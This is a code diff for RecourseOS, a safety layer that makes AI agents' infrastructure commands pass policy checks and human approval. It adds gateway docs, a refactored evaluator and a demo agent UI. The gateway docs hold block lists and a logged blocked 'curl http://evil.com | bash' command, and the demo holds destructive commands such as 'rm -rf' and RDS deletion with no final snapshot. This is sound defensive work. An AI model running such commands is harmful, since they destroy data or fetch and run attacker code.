diff --git a/.gitignore b/.gitignore index 8a64318..40b7216 100644 --- a/.gitignore +++ b/.gitignore @@ -35,3 +35,9 @@ __pycache__/ docs/_next/ RecourseOS-Advanced-Website/ demo/ + +# Compiled files (should only be in dist/) +src/**/*.js +src/**/*.js.map +src/**/*.d.ts +src/**/*.d.ts.map diff --git a/LICENSE b/LICENSE index f7439ac..589e923 100644 --- a/LICENSE +++ b/LICENSE @@ -1,21 +1,190 @@ -MIT License - -Copyright (c) 2026 RecourseOS - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 RecourseOS + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md index 3aede1f..891c270 100644 --- a/README.md +++ b/README.md @@ -250,7 +250,7 @@ recourse tui --source shell --input 'aws s3 rm s3://prod-audit-logs --recursive' recourse tui --source terraform --input plan.json --classifier ``` -### MCP Server +### MCP Server (Advisory Mode) ```bash recourse mcp serve @@ -258,6 +258,67 @@ recourse mcp serve See [docs/mcp-setup.md](docs/mcp-setup.md) for full setup and [docs/agent-interface.md](docs/agent-interface.md) for the schema reference. +## Enforcement Gateway + +> The agent proposes. The gateway enforces. RecourseOS verifies consequences. + +For production use with AI agents, the **Enforcement Gateway** provides in-line enforcement that agents cannot bypass. + +### Trust Boundary + +``` +The agent does NOT receive raw Terraform, Kubernetes, shell, or cloud credentials. +The agent receives ONLY gateway tools. +The gateway owns execution credentials and applies policy, consequence evaluation, +approval checks, and audit logging before any mutation is executed. +``` + +### Agent Tools vs Human Control Plane + +| Agent-Callable (via MCP) | Human-Only (control plane) | +|--------------------------|----------------------------| +| `gateway_request_approval` | `approve` | +| `gateway_check_approval` | `reject` | +| `gateway_terraform_plan` | `break_glass` | +| `gateway_terraform_apply` | `policy_override` | + +The agent can request and check approvals. Only humans can grant them. + +### Quick Start + +```bash +# Start the gateway +recourse gateway serve -e prod + +# Verify enforcement configuration +recourse gateway doctor -e prod +``` + +Configure Claude Code/Cursor: + +```json +{ + "mcpServers": { + "recourse-gateway": { + "command": "npx", + "args": ["-y", "recourse-cli@latest", "gateway", "serve", "-e", "prod"] + } + } +} +``` + +### Enforcement Guarantees + +| Guarantee | Mechanism | +|-----------|-----------| +| No credential leakage | Agent never sees raw credentials | +| Plan integrity | Apply only works with verified plan hash | +| Temporal bounds | Plans and approvals expire (1h / 24h) | +| Audit completeness | All attempts recorded, including blocks | +| Approval isolation | Agents cannot approve their own requests | + +See [docs/enforcement-gateway.md](docs/enforcement-gateway.md) for the full architecture. + ### Shell Wrapper Automatically check RecourseOS before dangerous shell commands execute. Add to your shell profile: diff --git a/bin/recourseos-agent b/bin/recourseos-agent new file mode 100755 index 0000000..ba776a8 --- /dev/null +++ b/bin/recourseos-agent @@ -0,0 +1,2 @@ +#!/usr/bin/env node +import '../dist/agent-cli.js'; diff --git a/docs/enforcement-gateway.md b/docs/enforcement-gateway.md new file mode 100644 index 0000000..da79212 --- /dev/null +++ b/docs/enforcement-gateway.md @@ -0,0 +1,256 @@ +# RecourseOS Enforcement Gateway + +> The agent proposes. The gateway enforces. RecourseOS verifies consequences. + +## Trust Boundary + +**Critical invariant:** + +``` +The agent does NOT receive raw Terraform, Kubernetes, shell, or cloud credentials. +The agent receives ONLY gateway tools. +The gateway owns execution credentials and applies policy, consequence evaluation, +approval checks, and audit logging before any mutation is executed. +``` + +This is the single most important security property of the gateway architecture. + +## Tool Separation + +### Agent-Callable Tools (via MCP) + +These tools are exposed to agents through the gateway MCP server: + +| Tool | Purpose | Gate Behavior | +|------|---------|---------------| +| `gateway_terraform_plan` | Create evaluated plan, returns plan_id | Always allowed | +| `gateway_terraform_apply` | Apply a plan by plan_id | Requires valid plan_id, approval if escalated | +| `gateway_terraform_destroy` | Request destruction | Always escalates/blocks | +| `gateway_kubectl_get` | Read K8s resources | Always allowed | +| `gateway_kubectl_logs` | Read pod logs | Always allowed (secrets redacted) | +| `gateway_kubectl_describe` | Describe K8s resources | Always allowed | +| `gateway_kubectl_apply` | Apply manifest | Escalates for protected namespaces | +| `gateway_kubectl_delete` | Delete resources | Always escalates | +| `gateway_kubectl_scale` | Scale workloads | Escalates for scale-to-zero | +| `gateway_kubectl_exec` | Exec into container | Always escalates | +| `gateway_shell_exec` | Run shell command | Sandboxed with allow/block lists | +| `gateway_request_approval` | Request human approval | Creates pending approval | +| `gateway_check_approval` | Check approval status | Returns status only | +| `gateway_get_plan` | Retrieve plan details | Read-only audit | + +### Human-Only Control Plane + +These actions are **never** exposed as MCP tools: + +- `approve` - Grant approval for escalated operations +- `reject` - Deny approval requests +- `break_glass` - Emergency override +- `policy_override` - Modify gateway policy + +Approvals happen through the human control plane (Slack, web console, ServiceNow, SSO-authenticated API), not through agent tools. + +## Enforcement Model + +### Plan-Bound Terraform + +``` +1. Agent calls gateway_terraform_plan +2. Gateway runs `terraform plan`, evaluates with RecourseOS +3. Gateway stores plan with hash, workspace, TTL, decision +4. Gateway returns plan_id to agent + +5. Agent calls gateway_terraform_apply with plan_id +6. Gateway verifies: + - Plan exists + - Plan not expired + - Plan hash matches (no drift) + - Workspace matches + - Approval granted (if escalated) +7. Only then: Gateway executes apply +``` + +### Protected Namespaces + +The following Kubernetes namespaces trigger escalation: + +- `kube-system`, `kube-public` +- `cert-manager`, `ingress`, `istio-system` +- `monitoring`, `security`, `vault` + +### Shell Sandbox + +| Category | Behavior | Examples | +|----------|----------|----------| +| **Allowed** | Execute immediately | `ls`, `cat`, `git status`, `kubectl get` | +| **Escalate** | Requires approval | `rm`, `aws`, `terraform apply`, `helm` | +| **Block** | Never execute | `curl\|bash`, `rm -rf /`, `sudo su` | + +### Environment Policy + +| Environment | Default Mutation | Destroy | kubectl exec | +|-------------|------------------|---------|--------------| +| dev | allow | escalate | escalate | +| staging | warn | escalate | escalate | +| prod | escalate | **block** | escalate | + +## Verification + +Run the gateway doctor to verify enforcement configuration: + +```bash +recourse gateway doctor -e prod +``` + +Expected output: + +``` +RecourseOS Gateway Doctor +Environment: prod + +Tool Exposure + ✓ gateway_approve not exposed + ✓ gateway_reject not exposed + ✓ raw terraform/kubectl tools not exposed + +Terraform Enforcement + ✓ Terraform apply requires plan_id + ✓ Terraform apply with unknown plan_id fails + ✓ Terraform destroy blocks in prod + +Plan Lifecycle + ✓ Terraform apply with expired plan_id fails + ✓ Terraform apply without approval fails + ✓ Terraform apply after rejected approval fails + +Kubernetes Enforcement + ✓ kubectl exec escalates by default + ✓ kubectl delete namespace blocks + ✓ kubectl apply to protected namespace escalates + ✓ kubectl scale to zero escalates + +Shell Sandbox + ✓ Shell: sudo blocks + ✓ Shell: rm -rf / blocks + ✓ Shell: curl | sh blocks + ✓ Shell: bash <(curl) blocks + +All tests passed - Gateway is production-ready +``` + +## Starting the Gateway + +Development (with verbose logging): + +```bash +recourse gateway serve -v -e dev +``` + +Production (structured logging, no debug output): + +```bash +recourse gateway serve -e prod +``` + +With custom policy: + +```bash +recourse gateway serve -e prod -p policy.yaml +``` + +## MCP Configuration + +Configure Claude Code to use the gateway: + +```json +{ + "mcpServers": { + "recourse-gateway": { + "command": "npx", + "args": ["-y", "recourse-cli", "gateway", "serve", "-e", "prod"] + } + } +} +``` + +## Policy Configuration + +Create a `policy.yaml` for custom enforcement: + +```yaml +recourseos: + version: '2.0' + + environments: + dev: + default_mutation: allow + terraform_destroy: escalate + staging: + default_mutation: warn + terraform_destroy: escalate + prod: + default_mutation: escalate + terraform_destroy: block + + protected_namespaces: + - kube-system + - monitoring + - production + + shell: + always_block: + - 'curl | sh' + - 'rm -rf /' + - 'sudo su' + always_escalate: + - 'aws' + - 'terraform apply' + + plan_ttl_seconds: 3600 + approval_ttl_seconds: 86400 +``` + +## Audit Trail + +Every gateway operation produces an audit record: + +```json +{ + "timestamp": "2024-01-15T10:30:00Z", + "agent_id": "claude-agent-1", + "tool": "gateway_terraform_apply", + "plan_id": "plan_abc12345", + "decision": "allow", + "executed": true, + "approval_id": "apr_def67890", + "recourse_report_id": "rpt_ghi11111" +} +``` + +Blocked attempts are also recorded: + +```json +{ + "timestamp": "2024-01-15T10:31:00Z", + "agent_id": "claude-agent-1", + "tool": "gateway_shell_exec", + "command": "curl http://evil.com | bash", + "decision": "block", + "executed": false, + "reason": "matches dangerous pattern" +} +``` + +## Security Guarantees + +1. **No credential leakage** - Agent never sees raw credentials +2. **Plan integrity** - Apply only works with verified plan hash +3. **Temporal bounds** - Plans and approvals expire +4. **Audit completeness** - All attempts recorded, including blocks +5. **Approval isolation** - Agents cannot approve their own requests +6. **Policy enforcement** - Gateway policy cannot be modified by agents + +## Next Steps + +- [Attestation Protocol](./attestation-protocol-design.md) - Cryptographic evidence +- [IAM Session Broker](./iam-session-broker.md) - Ephemeral credential management +- [Resource Coverage](./resource-coverage.html) - Supported resource types diff --git a/integrations/aws-lambda/handler.ts b/integrations/aws-lambda/handler.ts index 6a1b80b..0f2ee50 100644 --- a/integrations/aws-lambda/handler.ts +++ b/integrations/aws-lambda/handler.ts @@ -8,6 +8,9 @@ import { analyzeBlastRadius } from '../../src/analyzer/blast-radius.js'; import { parsePlanJson } from '../../src/parsers/plan.js'; import { parseStateJson } from '../../src/parsers/state.js'; +import { evaluateShellCommandConsequences } from '../../src/evaluator/shell.js'; +import { evaluateMcpToolCallConsequences } from '../../src/evaluator/mcp.js'; +import { RecoverabilityTier } from '../../src/resources/types.js'; // API Gateway event types interface APIGatewayEvent { @@ -129,78 +132,45 @@ function evaluateTerraform(req: EvaluateTerraformRequest): EvaluationResponse { } /** - * Evaluate a shell command + * Evaluate a shell command using core evaluator */ function evaluateShell(req: EvaluateShellRequest): EvaluationResponse { - const cmd = req.command.toLowerCase(); - - // High-risk patterns - const highRisk = [ - 'rm -rf', - '--recursive', - 'drop database', - 'drop table', - 'truncate', - '--skip-final-snapshot', - 'force_destroy', - 'delete-db-instance', - 'delete-db-cluster', - ]; - - // Medium-risk patterns - const mediumRisk = [ - 'delete', - 'remove', - 'terminate', - 'destroy', - 'drop', - 'kubectl delete', - 'docker rm', - 'docker rmi', - ]; - - let riskAssessment: RiskAssessment; - let tier: number; - let label: string; - let reasoning: string; + const report = evaluateShellCommandConsequences( + { command: req.command, cwd: req.cwd }, + { + adapterContext: { + actorId: req.actor, + environment: req.environment, + owner: req.owner, + }, + } + ); - if (highRisk.some(p => cmd.includes(p))) { - riskAssessment = 'block'; - tier = 4; - label = 'unrecoverable'; - reasoning = 'Command matches high-risk destructive patterns'; - } else if (mediumRisk.some(p => cmd.includes(p))) { - riskAssessment = 'escalate'; - tier = 3; - label = 'needs-review'; - reasoning = 'Command appears destructive, requires confirmation'; - } else { - riskAssessment = 'allow'; - tier = 1; - label = 'reversible'; - reasoning = 'No destructive patterns detected'; - } + const worstTier = report.summary.worstRecoverability.tier; + const tierLabel = report.summary.worstRecoverability.label; return { - riskAssessment, + riskAssessment: report.riskAssessment, summary: { - totalChanges: 1, - reversible: tier === 1 ? 1 : 0, - recoverableWithEffort: 0, - recoverableFromBackup: 0, - needsReview: tier === 3 ? 1 : 0, - unrecoverable: tier === 4 ? 1 : 0, - hasUnrecoverable: tier === 4, - worstTier: label, + totalChanges: report.summary.totalMutations, + reversible: worstTier === RecoverabilityTier.REVERSIBLE ? 1 : 0, + recoverableWithEffort: worstTier === RecoverabilityTier.RECOVERABLE_WITH_EFFORT ? 1 : 0, + recoverableFromBackup: worstTier === RecoverabilityTier.RECOVERABLE_FROM_BACKUP ? 1 : 0, + needsReview: report.summary.needsReview ? 1 : 0, + unrecoverable: report.summary.hasUnrecoverable ? 1 : 0, + hasUnrecoverable: report.summary.hasUnrecoverable, + worstTier: tierLabel, }, - changes: [ - { - address: req.command, - action: 'execute', - resourceType: 'shell_command', - recoverability: { tier, label, reasoning }, + changes: report.mutations.map(m => ({ + address: m.intent.target.id || req.command, + action: m.intent.action, + resourceType: m.intent.target.type, + recoverability: { + tier: m.recoverability.tier, + label: m.recoverability.label, + reasoning: m.recoverability.reason, }, - ], + })), metadata: { evaluatedAt: new Date().toISOString(), actor: req.actor, @@ -211,28 +181,26 @@ function evaluateShell(req: EvaluateShellRequest): EvaluationResponse { } /** - * Evaluate an MCP tool call + * Evaluate an MCP tool call using core evaluator */ function evaluateMcp(req: EvaluateMcpRequest): EvaluationResponse { - const toolLower = req.tool.toLowerCase(); - const destructivePatterns = ['delete', 'remove', 'destroy', 'terminate', 'drop']; - - let riskAssessment: RiskAssessment; - let tier: number; - let label: string; - let reasoning: string; + const report = evaluateMcpToolCallConsequences( + { + server: req.server, + tool: req.tool, + arguments: req.arguments, + }, + { + adapterContext: { + actorId: req.actor, + environment: req.environment, + owner: req.owner, + }, + } + ); - if (destructivePatterns.some(p => toolLower.includes(p))) { - riskAssessment = 'escalate'; - tier = 3; - label = 'needs-review'; - reasoning = `Tool "${req.tool}" appears destructive`; - } else { - riskAssessment = 'allow'; - tier = 1; - label = 'reversible'; - reasoning = 'No destructive patterns detected'; - } + const worstTier = report.summary.worstRecoverability.tier; + const tierLabel = report.summary.worstRecoverability.label; const target = req.arguments.bucket || @@ -241,25 +209,27 @@ function evaluateMcp(req: EvaluateMcpRequest): EvaluationResponse { JSON.stringify(req.arguments); return { - riskAssessment, + riskAssessment: report.riskAssessment, summary: { - totalChanges: 1, - reversible: tier === 1 ? 1 : 0, - recoverableWithEffort: 0, - recoverableFromBackup: 0, - needsReview: tier === 3 ? 1 : 0, - unrecoverable: 0, - hasUnrecoverable: false, - worstTier: label, + totalChanges: report.summary.totalMutations, + reversible: worstTier === RecoverabilityTier.REVERSIBLE ? 1 : 0, + recoverableWithEffort: worstTier === RecoverabilityTier.RECOVERABLE_WITH_EFFORT ? 1 : 0, + recoverableFromBackup: worstTier === RecoverabilityTier.RECOVERABLE_FROM_BACKUP ? 1 : 0, + needsReview: report.summary.needsReview ? 1 : 0, + unrecoverable: report.summary.hasUnrecoverable ? 1 : 0, + hasUnrecoverable: report.summary.hasUnrecoverable, + worstTier: tierLabel, }, - changes: [ - { - address: `${req.server}:${req.tool}(${target})`, - action: 'call', - resourceType: 'mcp_tool', - recoverability: { tier, label, reasoning }, + changes: report.mutations.map(m => ({ + address: m.intent.target.id || `${req.server}:${req.tool}(${target})`, + action: m.intent.action, + resourceType: m.intent.target.type, + recoverability: { + tier: m.recoverability.tier, + label: m.recoverability.label, + reasoning: m.recoverability.reason, }, - ], + })), metadata: { evaluatedAt: new Date().toISOString(), actor: req.actor, diff --git a/integrations/flowos-ui/examples/AgentDemo.tsx b/integrations/flowos-ui/examples/AgentDemo.tsx new file mode 100644 index 0000000..5bdde6e --- /dev/null +++ b/integrations/flowos-ui/examples/AgentDemo.tsx @@ -0,0 +1,580 @@ +/** + * Agent + RecourseOS Demo + * + * User talks to an AI agent. Agent tries to execute commands. + * RecourseOS intercepts dangerous actions. User approves/rejects. + * + * This is the real flow: + * 1. User: "Delete the staging RDS to save costs" + * 2. Agent interprets → aws rds delete-db-instance... + * 3. RecourseOS intercepts → ESCALATE + * 4. UI shows approval drawer + * 5. User approves/rejects + * 6. Agent continues or stops + */ + +import * as React from 'react'; +import { useState, useCallback, useRef, useEffect } from 'react'; + +const API_URL = 'http://localhost:3099'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types +// ───────────────────────────────────────────────────────────────────────────── + +interface Message { + id: string; + role: 'user' | 'agent' | 'system'; + content: string; + timestamp: Date; + pending?: boolean; + command?: string; + evaluation?: any; + status?: 'thinking' | 'executing' | 'waiting' | 'approved' | 'rejected' | 'completed'; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Agent Intent Mapping (simulates Claude Code understanding) +// ───────────────────────────────────────────────────────────────────────────── + +interface AgentAction { + thought: string; + command: string; + dangerous: boolean; +} + +function interpretUserIntent(input: string): AgentAction | null { + const lower = input.toLowerCase(); + + // RDS operations + if (lower.includes('delete') && (lower.includes('rds') || lower.includes('database') || lower.includes('db'))) { + const dbName = lower.includes('staging') ? 'staging-db' : + lower.includes('prod') ? 'prod-database' : + lower.includes('test') ? 'test-db' : 'my-database'; + return { + thought: `I'll delete the ${dbName} RDS instance to help reduce costs.`, + command: `aws rds delete-db-instance --db-instance-identifier ${dbName} --skip-final-snapshot`, + dangerous: true, + }; + } + + // S3 operations + if (lower.includes('delete') && (lower.includes('s3') || lower.includes('bucket'))) { + const bucket = lower.includes('backup') ? 'old-backups' : + lower.includes('log') ? 'application-logs' : + lower.includes('data') ? 'customer-data' : 'my-bucket'; + return { + thought: `I'll delete the ${bucket} S3 bucket.`, + command: `aws s3 rb s3://${bucket} --force`, + dangerous: true, + }; + } + + // EC2 operations + if (lower.includes('terminate') && (lower.includes('ec2') || lower.includes('instance') || lower.includes('server'))) { + return { + thought: "I'll terminate the EC2 instance.", + command: 'aws ec2 terminate-instances --instance-ids i-0123456789abcdef0', + dangerous: true, + }; + } + + // Kubernetes operations + if (lower.includes('delete') && (lower.includes('deploy') || lower.includes('kubernetes') || lower.includes('k8s') || lower.includes('pod'))) { + const resource = lower.includes('api') ? 'api-server' : 'web-frontend'; + return { + thought: `I'll delete the ${resource} deployment from Kubernetes.`, + command: `kubectl delete deployment ${resource} -n production`, + dangerous: true, + }; + } + + // Docker operations + if (lower.includes('remove') && lower.includes('container')) { + return { + thought: "I'll remove all Docker containers.", + command: 'docker rm -f $(docker ps -aq)', + dangerous: true, + }; + } + + // File operations + if ((lower.includes('delete') || lower.includes('remove') || lower.includes('rm')) && + (lower.includes('file') || lower.includes('folder') || lower.includes('directory') || lower.includes('data'))) { + const path = lower.includes('log') ? '/var/log/*' : + lower.includes('temp') ? '/tmp/*' : + lower.includes('data') ? '/var/data/*' : '/app/data/*'; + return { + thought: `I'll remove the files at ${path}.`, + command: `rm -rf ${path}`, + dangerous: true, + }; + } + + // Safe operations - list/describe/get + if (lower.includes('list') || lower.includes('show') || lower.includes('describe') || lower.includes('get')) { + if (lower.includes('s3') || lower.includes('bucket')) { + return { + thought: "I'll list the S3 buckets.", + command: 'aws s3 ls', + dangerous: false, + }; + } + if (lower.includes('ec2') || lower.includes('instance')) { + return { + thought: "I'll describe the EC2 instances.", + command: 'aws ec2 describe-instances', + dangerous: false, + }; + } + if (lower.includes('pod') || lower.includes('kubernetes')) { + return { + thought: "I'll list the Kubernetes pods.", + command: 'kubectl get pods -A', + dangerous: false, + }; + } + } + + return null; +} + +// ───────────────────────────────────────────────────────────────────────────── +// API +// ───────────────────────────────────────────────────────────────────────────── + +async function evaluateCommand(command: string) { + const res = await fetch(`${API_URL}/evaluate`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ intent: { source: 'shell', command }, description: command }), + }); + return res.json(); +} + +async function approveEvaluation(id: string) { + await fetch(`${API_URL}/approve/${id}`, { method: 'POST' }); +} + +async function rejectEvaluation(id: string) { + await fetch(`${API_URL}/reject/${id}`, { method: 'POST' }); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Components +// ───────────────────────────────────────────────────────────────────────────── + +function MessageBubble({ message }: { message: Message }) { + const isUser = message.role === 'user'; + const isSystem = message.role === 'system'; + + return ( +
+
+ {!isUser && !isSystem && ( +
+ Claude Code +
+ )} +
{message.content}
+ + {/* Show command being executed */} + {message.command && ( +
+ $ {message.command} +
+ )} + + {/* Status indicator */} + {message.status && message.status !== 'completed' && ( +
+ {message.status === 'thinking' && '● Thinking...'} + {message.status === 'executing' && '● Evaluating with RecourseOS...'} + {message.status === 'waiting' && '● Awaiting your approval'} + {message.status === 'approved' && '✓ Approved'} + {message.status === 'rejected' && '✗ Rejected'} +
+ )} +
+
+ ); +} + +function ApprovalBanner({ evaluation, onApprove, onReject }: { + evaluation: any; + onApprove: () => void; + onReject: () => void; +}) { + const e = evaluation.result; + return ( +
+
+
+
+ ⚠ RecourseOS Intercepted a Dangerous Action +
+
+ {e.reason} +
+
+ + {e.summary.worstRecoverability.label} + + {e.mutations.map((m: any, i: number) => ( + + {m.target.type} → {m.action} + + ))} +
+
+
+ + +
+
+
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Main +// ───────────────────────────────────────────────────────────────────────────── + +export function AgentDemo() { + const [messages, setMessages] = useState([ + { + id: 'welcome', + role: 'agent', + content: "Hi! I'm Claude Code. I can help you manage your infrastructure. Try asking me to delete a database, remove containers, or clean up S3 buckets - RecourseOS will intercept any dangerous actions.", + timestamp: new Date(), + }, + ]); + const [input, setInput] = useState(''); + const [pendingApproval, setPendingApproval] = useState<{ messageId: string; evaluation: any } | null>(null); + const [processing, setProcessing] = useState(false); + const messagesEndRef = useRef(null); + const approvalResolver = useRef<((approved: boolean) => void) | null>(null); + + useEffect(() => { + messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' }); + }, [messages]); + + const addMessage = useCallback((msg: Omit) => { + const id = `msg-${Date.now()}`; + setMessages(prev => [...prev, { ...msg, id, timestamp: new Date() }]); + return id; + }, []); + + const updateMessage = useCallback((id: string, updates: Partial) => { + setMessages(prev => prev.map(m => m.id === id ? { ...m, ...updates } : m)); + }, []); + + const handleSubmit = useCallback(async (e: React.FormEvent) => { + e.preventDefault(); + if (!input.trim() || processing) return; + + const userInput = input.trim(); + setInput(''); + setProcessing(true); + + // Add user message + addMessage({ role: 'user', content: userInput }); + + // Agent thinks + const agentMsgId = addMessage({ role: 'agent', content: 'Let me help you with that...', status: 'thinking' }); + await sleep(800); + + // Interpret intent + const action = interpretUserIntent(userInput); + + if (!action) { + updateMessage(agentMsgId, { + content: "I'm not sure how to help with that. Try asking me to delete a database, remove S3 buckets, terminate EC2 instances, or clean up Kubernetes deployments.", + status: 'completed', + }); + setProcessing(false); + return; + } + + // Agent decides to execute + updateMessage(agentMsgId, { + content: action.thought, + command: action.command, + status: 'executing', + }); + await sleep(500); + + // Evaluate with RecourseOS + try { + const evaluation = await evaluateCommand(action.command); + + if (evaluation.result.decision === 'allow') { + updateMessage(agentMsgId, { status: 'completed' }); + addMessage({ + role: 'agent', + content: '✓ Command executed successfully. RecourseOS verified this action is safe.', + }); + } else if (evaluation.result.decision === 'block') { + updateMessage(agentMsgId, { status: 'rejected' }); + addMessage({ + role: 'system', + content: `🛑 RecourseOS blocked this action: ${evaluation.result.reason}`, + }); + } else { + // Escalate - need approval + updateMessage(agentMsgId, { status: 'waiting', evaluation }); + setPendingApproval({ messageId: agentMsgId, evaluation }); + + const approved = await new Promise(resolve => { + approvalResolver.current = resolve; + }); + + if (approved) { + await approveEvaluation(evaluation.id); + updateMessage(agentMsgId, { status: 'approved' }); + addMessage({ + role: 'agent', + content: '✓ Action 